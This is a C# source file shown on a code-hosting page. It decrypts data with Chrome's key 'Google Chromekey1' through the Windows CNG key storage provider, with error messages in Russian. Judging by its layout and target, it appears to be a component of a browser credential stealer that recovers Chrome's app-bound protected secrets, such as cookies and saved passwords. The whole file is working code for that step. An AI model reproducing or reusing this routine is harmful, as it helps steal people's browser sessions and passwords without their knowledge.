Files

52 lines
1.5 KiB
C#
Raw Permalink Normal View History

2026-08-27 10:55:23 -06:00
using System;
namespace Intelix.Helper.Encrypted;
public static class CngDecryptor
{
private const int NCRYPT_SILENT_FLAG = 64;
public static byte[] Decrypt(byte[] inputData, string providerName = "Microsoft Software Key Storage Provider", string keyName = "Google Chromekey1")
{
IntPtr phProvider = IntPtr.Zero;
IntPtr phKey = IntPtr.Zero;
try
{
int num = NativeMethods.NCryptOpenStorageProvider(out phProvider, providerName, 0);
if (num != 0)
{
throw new Exception($"Ошибка NCryptOpenStorageProvider: Код {num}");
}
num = NativeMethods.NCryptOpenKey(phProvider, out phKey, keyName, 0, 0);
if (num != 0)
{
throw new Exception($"Ошибка NCryptOpenKey: Код {num}");
}
num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, null, 0, out var pcbResult, 64);
if (num != 0)
{
throw new Exception($"Ошибка определения размера NCryptDecrypt: Код {num}");
}
byte[] array = new byte[pcbResult];
num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, array, array.Length, out pcbResult, 64);
if (num != 0)
{
throw new Exception($"Ошибка NCryptDecrypt: Код {num}");
}
Array.Resize(ref array, pcbResult);
return array;
}
finally
{
if (phKey != IntPtr.Zero)
{
NativeMethods.NCryptFreeObject(phKey);
}
if (phProvider != IntPtr.Zero)
{
NativeMethods.NCryptFreeObject(phProvider);
}
}
}
}